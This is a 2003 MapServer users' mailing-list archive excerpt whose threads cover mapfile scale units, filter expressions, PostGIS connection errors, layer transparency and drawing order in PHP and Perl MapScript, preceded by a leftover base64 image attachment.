vjhldK+Ax+UMEFqjRa+aGbrsSpSZOKidKVmitxOZw9nqMNoINJqlOzKeebMD/w73tpmk9WiiJ9aE KvaLyIAAWNqn5/eP5tk3Bch7yTZfjdpmTbqbuZdxsKl8ACY+ftqn8xiQ/kSt3ay5qCFXab04HCP6 Xtj4ZHM6l5z6qfFgDKT6p4esqtNVYPeYLCEpnWzw5kbRq5O6TE/6gJOHrH0pZMIAraVaAT+umpXw nDBviKFGMJM0K3sRrBm7rkuZaHVpr+ljD3j6rwFbmwRbiO42gZKXGJv5vTSwsePwn5H1g5t6sqXh lC4bs8tLs8+ZsAHFs0XwAlluYQ+wtHH7sVvktM8mtb1htVl7qjO7Kwabs0fDsLN6uELbsWvaLXa7 dno7t35btQ9BuKV6qLKbmrSR7KBWKGuVtldzLtX5Me0Mug0VP2FRuvWaulPhka77p02Ju+XaW7C6 WJ0ZX83buSH7U/nb/nklu72nwRDg26flWzzpm61ne5IEx07kxLZ/p7mTuaRdFK/jErUDXBPem8A1 2sD1DcHTzscO23SU+66dj/ZKu11vuquZ2rcx3JGse8MRusODrLuj7UWRW7xr+7j3Wb8l3KaV+qgt vMVdPBM0PMbteca/ssanC78n/LxInMZD9cTPm2EpfKnzWnyIPMNh/Mjr+RsOoKyV/MN7rmEUfDN1 PElrVbSpfCCb9Mr/W8uLnMu7fJy/PMxvccxvPCr1RHXjRNj8XPFi0QgFvcxEvHYTKc4vwcjpPJq9 oTlEpVuXvL6vOcTiWsrXfL/jgs0NXVrZO9EJYsAZfZwPgUFrmHML/nLJoheuh9DEMd3H7bobZzNr s/zTtyC4Rf2XHSFeIfnURTa2fQXKvzlqHHzH8XSeNp3Q1VAa36jWbV0RcB2YdZ1nTN2FdbnY3znH QfvSIzzWyyPTozuymx3UQx3aXVnav+BgxybPr93JR3y8/1ymhM8j3OW7xYPe2zqkZ1iUxP1xcKHc PZldXKAGkKYGXiBE112xP7sl353df86qHx7i21Hi25SG/72RG8JlV8cAEV7P1TvbDc9m7FvLUvZY LV6MyeJMNR7Iep2o8X3kg6fP473jI56UCUanG8/kwxjlUedqVR4cqc3aMfQ84Y8oRWxURb569jYP tJvptTtYcj6E/iFHcRBABTCS5UP+1+nSsI355wcrdPQk8+73EACcfGKnGqAeLJo+uyEc6IVp5o99 cLhef5o8tCxKjmGP5C+cl8xeEtBeG/rnlJab4+ke1i9Tx28+1+xeW2tROZya77nF70lBjmIn3Xdt 8Hu3S7Q+7u9eNiNGnjm/0hHf0/ce0tgh8kNhjtYmOcXcuM18rQkvge7d9a1N8cPeKkHlmh6/Kk7f FFI/Dhh09dsvv2oDifrY0qc5IfM+9BuC7Jen9NmA95dgkepjPmkcwYkfWAlVdpAf6RdI7A2h+V9H 9wsp+o+AkTRk1/F8+GdX7hi8QDD/j9/em9vH9pUeD8LfccYf/kB4H//vvAgSBQgOQgCxaCQUkQCC 0rh0PpVSKLVqvSaXTSy3641uv9jpU2yGMsPna3rtXjfjb6+hYL/j8/o9v+8vGHSRlVUJGB4iJiou MjY6Pj4W1f1RVvoFUh1UaTqpIHx+qkipEWaRkc55ITGltlKtos6dun610TrB3upmEcntOk1aCg/3 YY718lpBLjM3OycaBRNPF7cixMggyMwgjKK9lg3+smmNp+buzpq/so6jr58nx9JKU9tXGpMTzgMY +D8DDNiMir+CBg8iTKhw4UFrBroheOgNFzh18Cryu1jl3S2LGrVkdMPxoxlfpcbVu6eSTz4rg0Ia EShzJsma/lAiImiBc+KRir3SAA0qdCjRokaPDmWHdCkspk7biTtCdIGCDQY3KFjw9KnNrvsuplwp 9k5Ll1/XzEwLyStbACtgFISxgmeynqe24i0KMi9fp3uXnonKRYEBDhz8dTisAICDDw4aHObQYISB Bo4fRJ5c2THkwpodOJlcwh8JBSRGmzhB+DCKwykU9I3NNIlsoFXCjhVbdiOyW2rTjqktfDjR3uUo fvNYc2Rbiu10KTcLgPBqxQYWO5jwIYMB7gpASNbO3Tv4BuK7XwcPwQl1DAoYtKd+nTr1eO7qvnkO LDd/sqp+EhfUb5Bw1ZxNU6hByiq9wZTOcQYm12AtDG5k/lsaVRWmgAKHYcXEAx4Y4EEFIHoA24ch jhiiiSSmWCIBsGn4ogkcbHjdjCOaQN981wVo1H/GSegSKrjxcUB/f+wGzknmKAEchE8KgkyCPoXD FnNQ2gIdhce0A5+GXzJgxGJjTlcEmWQScWaZL043ZgNfKiDBmxYo8Gabdy6Wn372nbUOkXsYeWQ1 UVb5S3RQCtmjorZVOWVyW3Z15ZNZdgSpWXteJOlymOYnD1jCCCHooFwc2kqpiKIKB4WOOmdcc0Ee KEaBgkUYK6cH3qoqkK7c+qcQvwL7q6j+EUqrqZammqyuCH7z6F+LQkspk/AYaxessjzYlrTY7mrq kJQE/ivssMSSiiwtpyqbrj7MItfqkl5dS1K8P2ak6X25yotvSZ56KxQRf9oRbqjj2pFks9Vyi7C6 CyPHbk/OKrzOtnoO9yxx5gIYrcYb94ifrG18+8fAAQdKsMENu1ppoelywvC6UjbrbsRM6mtltudi vJfFHDfFs8/PmSRLyGPdoENBOuCg0skPzxxYzlC27DJvjcZs19OZ1gzvzbxezcq8nWZNbdiE9in0 bfzhlANOStObMs4rJzuE1NI57HEUV4v99bRjTwg3GgtGunWkfB/TLRxBnZ3b2mvfszQvTe/rt4EC Bzs30zC3a7Xk+ep9b+cHuy3VuxpNjOvnhn/eK9rY/mgTAwJsFxv6sZtPLrDlKN+duSkZ/9y773nJ /tPoWJ9Oscplg414P/zZAMonNsBeLu32QU4S5bdfnvvDMvP+u/eARds14IMXLxLh+iBvfuIE2+P4 luU/HnxbchNBP/azsKp59dCdT7rg1MvOQt8b4Mb4dTgfLY997Wvb8BImP4a9JS5hShX+qra76REv XaVzYAM7mCksTeuBqhiaAonhvkLB733YMwJOaICTZFVQd5jbX0f6RzobvsyDBkqh08jWNx2SakgM GSIRizhEBvIQXQx74QspuCoLzlCEbCAgFfnCoCoWJxy/k8dRduYvw5lthUi8DwaXyDoZuA6GT5Qh /hS1pi4e2g1VSjSUAf/mQZPM64tilB4NN5E9ONKMCSxwHgJY8LMDzIZqbFxkrLYXRCxCC0JzdBAY cTE+6aRPVXrc4x9dYb8+cnIX9uPjkuqlLEBGLpQABOLxgmbJO9ZRT6rM4bUoFy4vQlIvXrFl5ehW Sj7msmfB9J0k8UbHSorOlMg8oPJuF7VOuoGXoJzlG3hJyvxdcJrpuKSVcEjNSWppmcJTZiZHyChO jjJ+rMyE7cBJzVZcz5fasxvgtMm/dbrDm/2qohTDWc5ykNOVnXImL3+lwmoa1KDufOccgAUAg8qT m++qZz9viE9D6fMcVDQmJf/pNen985ESlZo1/tU5r2cWAZG9GaTzVMBQUfqxE4RkAeYcmc2KYu2i 20SlyxbKNXECFKQCPdwe42lSMirhGtnYBgJe2halaoMbNaUnCoXzNvMNsy/FLOMxPTrSdtnTFM1k mEMhetRjJvUhAGhiNIzo1rfClYgk2UkTJaqgqmY1r1tRpU9n51VYclQQPB0HSuvXE0+0lJJpRYAL 1bqfErLvhA7JSV1/CTGc5m1SGQ1lX/k01HEKFbNCcmpPoMpUxRLBBXDxh1ygADDI6oYkEWStC6Ya OorqNJ+DfSRpZRXYVsYxqIXj6gh7iwwmOlZlEXstbKMnrzXaVHi/zaAkNzvLsKbys8JFH3b//vfN tT6ksU0N53KbOy7Jvq1ut/XFbgXb3im+d2Hd7dsWYmGvbsWXk0hYQQ3isgLUepC55qUGen+q3olq 91WIyu8bRcutkIIktLk1bkSRKkIBD9iEgVNkdB/EYJC6MYQrnC/ZEhzh4ZKYwp0lZYAzLKgCz+7A CmLvgq1bEhtb8sMima5fTbxBfun4fjweIxYw7GJLwHiVdmWHOjX74R8LLcg9TDGKgwsgCUvZcisu XHmPzJ8kc3DJdhxyILsJRyg7kbjAfSCaaUxh5TqYxRkxspeRtGEZM5nMujVzmbWs5x0D9cpVnvCb QUfoChe5zrkB80DxPGYIc47Pe/azmq/q/uOambjQA/2gphdsWwSLVa/A27Q5RV2xQ2fXyifmbqe7 Sq1Wg1BwM+aiquFr6lvn8s+6gnCbaw3rXwO7xHd95W19vVNJYzTLvq30T3mNaWMHO9rS3gcqEsTe MGSaf0/GsVSUTd84A9rZAQX3tMt9XVoridhV3d5u79vnZN9uy7u+9LhRbe57xxvdbRxfVOrb4Upx 25zvlpq8eyhuFi8prgrHN8OXo2828juAYN3bts8ccInp2uD0Rrga6KzoIys85HBtuAFvdVc3YxKM 1g0yKr1tcKzihYunFqjHP27zmysw5CGOQ7WpVGl/pwzXQg+mvR8cIGTWHOdKX3r7FiLf/od3OOKY Bbp3SU7uDW+1g71OX9KZ7vWv54HRk2J3z521Mr5hG9rRLrhIY4PLAgZ61fJMONjrbndhiD3rcii7 u9aNU/1ke+0Zt+iTY/k3ZdL87opfvB7yrq3L2dfnggl8XXhudbbntPBx33riGe/5uzs+xF+JvNmr RXUfnt7cmBdb0VPN5mdz/fOyB3voGzn6lGuOuJQ/ye5VPPjM22zzsO/87It/89o/d1ekl/zfabPs uGt69RL7KqcPzmWPibwgxt/+oikN3XSXvvdAez6kfc/VofNM1ZxXu+Wy735/bB/51d877nN/+iDt 7/7BniMW364xw+cYx1ndO70fwXnK/vJRiSuJn9oBTe/x1e+xnuZZXw613gBaYLPR39TwBsqlnXR9 G/k54B5JH81U4A9t3PVd3QWqYI85X/1dUCbp37KFDau4XAiFIK6U4I9M4NytYJShn9AdoAu2IK+J jgcKlvxkIJDUIHmlIOEFX+qZHQ/24BRiHfXNg9QBUQdOndsoYBHm4A5Bn2Z9oQByyRWy34O12g+q 4Qu20QtqoQ6W38QlGNUt4aZRmYgpmAjZyw3uGhWqoOUJofYk4TrFIAjCIR96Whyq4f/BEr7gkQ02 YW8tos8EoQYyH+/tnhZKCBSiTxzSAUkYwEvkm96ViyMCoIFFoh9yViWCX+kFFyAe/uIQamA9NUgD niEYIksddtvjQdoenmKMpaIqipEomuEG/qIjbSIyTo0mGmIwYhzq3GG/8GKm+WIYLoszCuPcPCIC XpZoZSIsjl/wVA8dPl3JHSO8XFzs6GHVPaKFjWE2ahArtmFNiWIqEaIyShFdDJcn9kNB+ElDIIQX RmNgpCMZkoMpWuOUYSM8npI8MpIgPhr+ZSI+muDzwaIV+MO/yF8yZGQ/+uMrZGRGFqTAPWGtVSM/ yuBCMqQcQR0jYSE3OeA3Vt6NNd8x+mNHHk8/5g4B+AOmIISyoRkkriNCouQH6uJKYiAbPqTUYRs5 2mMyzqQM1iK73QYm4KRfLYFIemokE+DkFnRkR/YfKZYhq6nkCCLl2ClfIEKkOFJkRapjKeAftIXj O2aO6R1HtU1ix/QiO55jo6nkWVahUv4bPfpaIbrlMtZRXNZkUTZjSJjluYwkBZoSUSIiLQHmuaWl JbriPAUH2dHk1kzeEBKOPs5iQh7mJmIhEQQBADs= ------=_NextPart_000_006B_01C2C1AD.A202F140-- From scarr at progbits.com Mon Jan 20 21:32:48 2003 From: scarr at progbits.com (Scott Carr) Date: Mon, 20 Jan 2003 23:32:48 -0600 Subject: [Mapserver-users] MaxScale / MinScale Problem In-Reply-To: <3E296B70.4135.133394D@localhost> References: <3E296B70.4135.133394D@localhost> Message-ID: <1043127168.3e2cdb8061a8f@progbits.com> Thanks, very much. This is what fixed my problem. Is this in a FAQ somewhere? If you see your scale like .003 .004 etc then you need to change your units to Decimal Degrees (DD). -- Scott Carr Documentation Maintainer http://documentation.openoffice.org OpenOffice.org Quoting woodbri at swoodbridge.com: > Scott, > > Try changing your UNITS to DD then your MIN/MAXSCALE should work. > > -Steve > > On 18 Jan 2003 at 13:22, Scott Carr wrote: > > > I have a residential and a business layer that lists a whole lot of > > people numbers and such. I would like these layers to only show up > > when I get down to a certain extent. > > > > Anytime I put numbers in the MaxScale / MinScale, the layers are not > > displayed at all. I have put numbers of varying ranges in, but no > > luck. > > > > Any ideas? > > > > My Map File as it stands now: > > > > map > > extent -104.187846 39.864694 -103.411784 40.610718 > > fontset "symbols/fontset.fon" > > imagecolor 255 255 255 > > name "Caldwell County" > > shapepath "data" > > size 530 430 > > status on > > symbolset "symbols/all.sym" > > transparent on > > units feet > > # 1 scalebar #none > > scalebar > > backgroundcolor 123 123 123 > > color 255 0 0 > > imagecolor 0 0 255 > > intervals 4 > > outlinecolor 0 0 0 > > size 200 7 > > status on > > style 0 > > transparent true > > units feet > > # 1 label #none > > label > > backgroundcolor 0 0 0 > > color 255 255 0 > > size tiny > > end > > end > > # 2 layer Cities > > layer > > classitem "ID" > > data "Cities" > > group "Cities" > > labelcache on > > name "Cities" > > status on > > type polygon > > # 1 class Cities_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Cities_1" > > outlinecolor 0 0 0 > > end > > end > > # 3 layer County > > layer > > classitem "ID" > > data "County" > > group "County" > > labelcache on > > name "County" > > status on > > type polygon > > # 1 class County_1 > > class > > backgroundcolor 128 128 128 > > color 128 255 128 > > name "County_1" > > outlinecolor 0 0 0 > > end > > end > > # 4 layer Geocode > > layer > > classitem "ID" > > data "Geocode" > > group "Geocode" > > labelcache on > > name "Geocode" > > status on > > type line > > # 1 class Geocode_1 > > class > > backgroundcolor 128 128 128 > > color 128 128 128 > > name "Geocode_1" > > outlinecolor 0 0 0 > > end > > end > > # 5 layer Lakes > > layer > > classitem "ID" > > data "Lakes" > > group "Lakes" > > labelcache on > > name "Lakes" > > status on > > type polygon > > # 1 class Lakes_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Lakes_1" > > outlinecolor 0 0 0 > > end > > end > > # 6 layer Landmarks > > layer > > classitem "ID" > > data "Landmarks" > > group "Landmarks" > > labelcache on > > name "Landmarks" > > status on > > type polygon > > # 1 class Landmarks_1 > > class > > backgroundcolor 128 128 128 > > color 255 128 0 > > name "Landmarks_1" > > outlinecolor 0 0 0 > > end > > end > > # 7 layer Majorroads > > layer > > classitem "FRC" > > data "Majorroads" > > group "Majorroads" > > labelcache on > > name "Majorroads" > > status on > > type line > > # 1 class Majorroads_1 > > class > > backgroundcolor 128 128 128 > > color 0 0 0 > > name "Majorroads_1" > > outlinecolor 0 0 0 > > size 2 > > end > > end > > # 8 layer medical > > layer > > classitem "ABINUMBER" > > data "medical" > > footer "medical_footer.html" > > group "medical" > > header "medical_header.html" > > labelcache on > > name "medical" > > status on > > type point > > # 1 class medical_1 > > class > > backgroundcolor 128 128 128 > > color 255 255 0 > > name "medical_1" > > outlinecolor 0 0 0 > > end > > end > > # 9 layer Railroads > > layer > > classitem "ID" > > data "Railroads" > > group "Railroads" > > labelcache on > > name "Railroads" > > status on > > type line > > # 1 class Railroads_1 > > class > > backgroundcolor 128 128 128 > > color 0 0 0 > > name "Railroads_1" > > outlinecolor 0 0 0 > > end > > end > > # 10 layer residential > > layer > > classitem "NAME" > > data "residential" > > group "residential" > > labelcache on > > maxscale 20000 > > minscale 100 > > name "residential" > > status on > > symbolscale 1 > > type point > > # 1 class residential_1 > > class > > backgroundcolor 255 255 255 > > color 255 128 0 > > maxsize 10 > > minsize 2 > > name "residential_1" > > outlinecolor 0 0 0 > > size 1 > > symbol "house" > > end > > end > > # 11 layer business > > layer > > classitem "NAME" > > data "business" > > footer "business_footer.html" > > group "business" > > header "business_header.html" > > name "business" > > status on > > MAXSCALE 5000 > > MINSCALE 100 > > symbolscale 1 > > type point > > # 1 class business_1 > > class > > backgroundcolor 128 128 128 > > color 255 0 0 > > maxsize 10 > > minsize 2 > > name "business_1" > > outlinecolor 0 0 0 > > size 1 > > symbol "circle" > > end > > end > > # 12 layer Rivers > > layer > > classitem "ID" > > data "Rivers" > > group "Rivers" > > labelcache on > > name "Rivers" > > status on > > type line > > # 1 class Rivers_1 > > class > > backgroundcolor 128 128 128 > > color 0 128 255 > > name "Rivers_1" > > outlinecolor 0 0 0 > > end > > end > > # 13 web 1222.html > > web > > footer "1222_footer.html" > > header "1222_header.html" > > imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\" > > imageurl "/tmp/" > > template "1222.html" > > end > > # 14 querymap hilite > > querymap > > color 255 0 0 > > size 530 430 > > status on > > style hilite > > end > > # 15 reference graphics/reference.gif > > reference > > color -1 -1 -1 > > extent -104.187846 39.864694 -103.411784 40.610718 > > image "graphics/reference.gif" > > outlinecolor 255 0 0 > > size 120 120 > > status on > > end > > # 16 legend #none > > legend > > keysize 18 12 > > status on > > # 1 label #none > > label > > color 0 0 89 > > size medium > > type bitmap > > end > > end > > end > > > > > > -- > > Scott Carr > > Documentation Maintainer > > http://documentation.openoffice.org > > OpenOffice.org > > > > > > > > > > > > ------------------------------------------------- > > This mail sent through IMP: http://horde.org/imp/ > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From pkishor at geoanalytics.com Mon Jan 20 22:05:45 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Tue, 21 Jan 2003 06:05:45 -0000 Subject: [Mapserver-users] Re: MaxScale / MinScale Problem In-Reply-To: <1043127168.3e2cdb8061a8f@progbits.com> Message-ID: --- In mapserver-users at yahoogroups.com, Scott Carr wrote: > Thanks, very much. This is what fixed my problem. > > Is this in a FAQ somewhere? > > If you see your scale like .003 .004 etc then you need to change your units to > Decimal Degrees (DD). well, no not really... but, if you have... .. > > > My Map File as it stands now: > > > > > > map > > > extent -104.187846 39.864694 -103.411784 40.610718 .. then you know from your extent that your units are decimal degrees. Since degrees are divided into 60 mins and then into 60 secs, they have to be "normalized" to base 10 to be expressed as a real number. Hence, "decimal" degrees. From george_planansky at harvard.edu Tue Jan 21 00:46:32 2003 From: george_planansky at harvard.edu (George Planansky) Date: Tue, 21 Jan 2003 03:46:32 -0500 Subject: [Mapserver-users] ms 3.6.3 itemnquery: need FILTER expression for *multiple* values Message-ID: <3405-Tue21Jan2003034632-0500-george_planansky@harvard.edu> With mapserver 3.6.3 using itemnquery , how do you set the FILTER expression to return multiple selected items? I can only get it to select the first match. Using the test suite itemquery/case4 example, LAYER NAME county DATA county STATUS DEFAULT TYPE POLYGON FILTER "%value%" # only gets first match of dynamic value list #FILTER /Aitkin|Anoka/ # shows that filter can get multiple static values FILTERITEM CTY_NAME CLASS COLOR 212 212 212 OUTLINECOLOR 0 0 0 TEMPLATE case4_template.html END END from test.html
Select one or more:

Selecting Becker and Beltrami from the above test.html produces a GET with both Becker and Beltrami values: "GET /cgi-bin/mapserv?\ map=%2Fusr%2Flocal%2Fwww%2Fdocs%2Fmapserver_demos%2Ftests%2Fitemquery%2Fcase4.map\ &mode=itemnquery\ &qlayer=county\ &item=cty_name\ &value=Becker\ &value=Beltrami\ HTTP/1.0" 200 1404 But using FILTER %value% only selects the first value "Becker". How do you get it to use all the selected values ?? thanks From alessandro.ceccotti at netxcalibur.com Tue Jan 21 04:24:43 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Tue, 21 Jan 2003 13:24:43 +0100 Subject: [Mapserver-users] trouble with mapserver output Message-ID: I've installed latest version of mapserver and I 've to use it to read data from a spatial database (postgresql/postgis) I use mapserver as cgi. Mapserver give me the following error message. msPOSTGISLayerOpen(): Query error. couldnt make connection to DB with connect string 'user=ale dbname=test2 host=127.0.0.1 port=5432 password=xxx'. Error reported was 'FATAL 1: IDENT authentication failed for user "ale" '. This error occured when trying to make a connection to the specified postgresql server. Most commonly this is caused by (1) incorrect connection string (2) you didnt specify a 'user=...' in your connection string (3) the postmaster (postgresql server) isnt running (4) you are not allowing TCP/IP connection to the postmaster (5) your postmaster is not running on the correct port - if its not on 5432 you must specify a 'port=...' (6) the security on your system does not allow the webserver (usually user 'nobody') to make socket connections to the postmaster (7) you forgot to specify a 'host=...' if the postmaster is on a different machine (8) you made a typo when I specify the host number or 127.0.0.1. If I try to use localhost connection, I recive no error messages, but a blank image. Postmaster is running with -i option to allow TCP/IP connections. Any ideas? Thanks, Alessandro Ceccotti From spencer at dmsolutions.ca Tue Jan 21 04:37:45 2003 From: spencer at dmsolutions.ca (Paul Spencer) Date: Tue, 21 Jan 2003 07:37:45 -0500 Subject: [Mapserver-users] Transparency not working for inline layers In-Reply-To: <009201c2c16e$7aec1210$5340baca@gis> References: <009201c2c16e$7aec1210$5340baca@gis> Message-ID: <3E2D3F19.1030003@magma.ca> Nyon, not sure if this will help with your particular application, but we developed a similiar capability by drawing each layer individually and setting the up the transparency manually. I don't have the code on hand, but it used this kind of logic (this code isn't tested and could be way off, but this is what I remember. ;)): $mapImg = $mapObj->prepareImage(); for($i=0;$i<$mapObj->numlayers;$i++) { $layerObj = $mapObj->getlayer( $i ); $layerImg = $mapObj->prepareImage(); $layerObj->draw( $layerImg ); if ($i == $maskLayer) { //assume that we have set up the layer to mask previous layers $mapImg->pasteImage( $layerImg, $black ); } else { $mapImg->pasteImage( $layerImg, $white ); } } This assumes that the normal transparent color on layers is $white and that on the mask layer, you have drawn your mask feature in $black. When you paste it, the $black part is transparent and the rest of the layer becomes white. Because you draw the layers yourself, you can use this method to mask any set of layers regardless of the location of the layers or the mask layer. This was one of our requirements (the user could pick the layers to mask). YC Nyon wrote: > I want to draw a circle as a buffer for some spatial queries. Done that. > However, I need it displayed as transparent, so the rest of the features > (ie. buildings) 'comes' through. Transparency is supported by my PHP-MS > version (tested successfully). Moving the 'circle' layer up and down the > mapfile didn't work. Can anyone confirm whether transparency is supported by > inline layers. > > Attached is the image. > > TIA > Nyon > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.443 / Virus Database: 248 - Release Date: 11/01/2003 > > > ------------------------------------------------------------------------ > -- Paul Spencer Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca From m_anderson14 at hotmail.com Tue Jan 21 06:42:01 2003 From: m_anderson14 at hotmail.com (Michael Anderson) Date: Tue, 21 Jan 2003 14:42:01 +0000 Subject: [Mapserver-users] Re: Error rendering line shapefiles Message-ID: I solved the problem and thought I'd post it in case anyone else encounters it. My initial guess was correct. There were some polylines in the shapefile that had the same start and end points, so I guess mapserver treated them like points. It didn't matter as long as they weren't in the visible extent, but as soon as they were mapserver threw the MSDrawShape error. Mike _________________________________________________________________ MSN 8: advanced junk mail protection and 2 months FREE*. http://join.msn.com/?page=features/junkmail From schick at sdac.hannover.bgr.de Tue Jan 21 08:25:56 2003 From: schick at sdac.hannover.bgr.de (Agneta Schick) Date: Tue, 21 Jan 2003 17:25:56 +0100 (MET) Subject: [Mapserver-users] using CGI methods Message-ID: <200301211625.h0LGPuu09442@b3sn28.hannover.bgr.de> Hello, When generating html code in my perl script, I found a difference between using methods in CGI.pm and print statements. In the one case (print statements) the mapping extents change with pan and in the other they remain unchanged. Can somebody explain this? Here is the part of the perl script which makes the difference: ======================================================== # ----------normal print statements with 'use CGI(:standard);'------------- #print header(); #print start_html(-title=>'MapServer - Earthquake Mapper', -bgcolor=>"#ffffff"); #print "
"; #print ""; #print "{extent}->{minx},$map->{extent}->{miny},$map->{extent}->{maxx},$map->{exte nt}->{maxy}) ."\">"; #print "
"; #print end_html(); # -----here the same statements with 'use CGI;' --------- print $query->header( "text/html" ); print $query->start_html(-title=>'MapServer - Earthquake Mapper', -bgcolor=>"#ffffff"); print $query->startform(-name=>"quakes", -method=>GET, -action=>"/cgi-bin/maptest.pl"); print $query->image_button(-name=>'img', -src=>$image_virtual_path . $image_id, -border=>0 ); print $query->hidden( -name=>"imgext", -default=>join(' ', $map->{extent}->{minx},$map->{extent}->{miny},$map->{extent}->{maxx},$map->{exte nt}->{maxy}) ); print $query->end_form; print $query->end_html; =============================================================== In both cases the html code is identical so what makes the difference? Have I made a mistake or does this mean never use CGI methods in combination with Mapscript? I'm using Mapserver 3.6, Perl 5.6.1 on Sun Solaris8 with Apache server. Thanks for any hints. Agneta Schick ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Agneta Schick Bundesanstalt fuer Geowissenschaften und Rohstoffe Federal Institute for Geosciences and Natural Resources Stilleweg 2 D- 30655 Hannover Tel.: +49 511 643 3136 GERMANY FAX.: +49 511 643 3663 schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From dbarron at ddive.com Tue Jan 21 08:48:40 2003 From: dbarron at ddive.com (Dan Barron) Date: Tue, 21 Jan 2003 08:48:40 -0800 Subject: [Mapserver-users] How to Draw Annotation Layer Last Message-ID: <5.2.0.9.0.20030121083601.041467a0@192.168.11.30> --=====================_68347843==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hello, I have searched through the archives w/o much luck on determining what I am= =20 doing wrong. I am using MapServer v3.5 and am trying to draw an annotation layer so it=20 is always the last layer to be drawn and shows on top of all other=20 layers. Right now it is always drawn under my other layers and is not=20 seen. I also use PHP/Mapscript to create the maps and have tried to force= =20 this layer to be drawn last, w/o success. Can anyone clue me in on the=20 method to ensure this layer is always draw last, either via the map file=20 only or via php/mapscript? Below is the map file entry for the layer and=20 the php/mapscript snippet. Thanks! LAYER NAME 'credits' STATUS ON TRANSFORM false TYPE annotation FEATURE POINTS 5 10 END TEXT '=A9 www.destinationdive.com' END CLASS LABEL TYPE truetype FONT verdana SIZE 8 ANTIALIAS true COLOR 0 0 0 POSITION UR END END END // ~~~ DRAW Credits Layers ~~~ $creditsLayer =3D $map->getLayerByName( 'credits' ); $creditsLayer->set( 'status', MS_ON ); $creditsLayer->draw( $image ); // ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ $image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); Dan Barron Principal / Founder Destination Software LLC - developers of Destination DIVE=99 dbarron at ddive.com http://www.destinationdive.com (619) 275-5346 --=====================_68347843==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello,

I have searched through the archives w/o much luck on determining what I am doing wrong. 

I am using MapServer v3.5 and am trying to draw an annotation layer so it is always the last layer to be drawn and shows on top of all other layers.  Right now it is always drawn under my other layers and is not seen.  I also use PHP/Mapscript to create the maps and have tried to force this layer to be drawn last, w/o success.  Can anyone clue me in on the method to ensure this layer is always draw last, either via the map file only or via php/mapscript?  Below is the map file entry for the layer and the php/mapscript snippet.

Thanks!


LAYER
 NAME 'credits'
 STATUS ON
 TRANSFORM false
 TYPE annotation
 FEATURE
   POINTS 5 10 END
   TEXT '=A9 www.destinati= ondive.com
 END
 CLASS
   LABEL
     TYPE truetype
     FONT verdana
     SIZE 8
     ANTIALIAS true
     COLOR 0 0 0
     POSITION UR
   END
 END
END


// ~~~ DRAW Credits Layers ~~~
$creditsLayer =3D $map->getLayerByName( 'credits' );
$creditsLayer->set( 'status', MS_ON );
$creditsLayer->draw( $image );

// ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~
$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);


Dan Barron
Principal / Founder
Destination Software LLC - developers of Destination DIVE=99
dbarron at ddive.com
http://www.destinationdive.com (619) 275-5346
--=====================_68347843==.ALT-- From ed at topozone.com Tue Jan 21 09:04:08 2003 From: ed at topozone.com (Ed McNierney) Date: Tue, 21 Jan 2003 12:04:08 -0500 Subject: [Mapserver-users] How to Draw Annotation Layer Last Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3B85@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C2C16F.1CDC39A3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dan - =20 MapServer draws all layers in order in the mapfile from bottom to top - = that is, each layer in turn is drawn on top of all preceding layers. = Put your annotation layer as the last layer in the file. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 11:49 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to Draw Annotation Layer Last Hello, I have searched through the archives w/o much luck on determining what I = am doing wrong. =20 I am using MapServer v3.5 and am trying to draw an annotation layer so = it is always the last layer to be drawn and shows on top of all other = layers. Right now it is always drawn under my other layers and is not = seen. I also use PHP/Mapscript to create the maps and have tried to = force this layer to be drawn last, w/o success. Can anyone clue me in = on the method to ensure this layer is always draw last, either via the = map file only or via php/mapscript? Below is the map file entry for the = layer and the php/mapscript snippet. Thanks! LAYER NAME 'credits' STATUS ON TRANSFORM false TYPE annotation FEATURE POINTS 5 10 END TEXT '=A9 www.destinationdive.com ' = =20 END CLASS LABEL TYPE truetype FONT verdana SIZE 8 ANTIALIAS true COLOR 0 0 0=20 POSITION UR END END END // ~~~ DRAW Credits Layers ~~~ $creditsLayer =3D $map->getLayerByName( 'credits' ); $creditsLayer->set( 'status', MS_ON ); $creditsLayer->draw( $image ); // ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ $image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); Dan Barron Principal / Founder Destination Software LLC - developers of Destination DIVE(tm) dbarron at ddive.com http:// = www.destinationdive.com (619) 275-5346 ------_=_NextPart_001_01C2C16F.1CDC39A3 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Dan=20 -
 
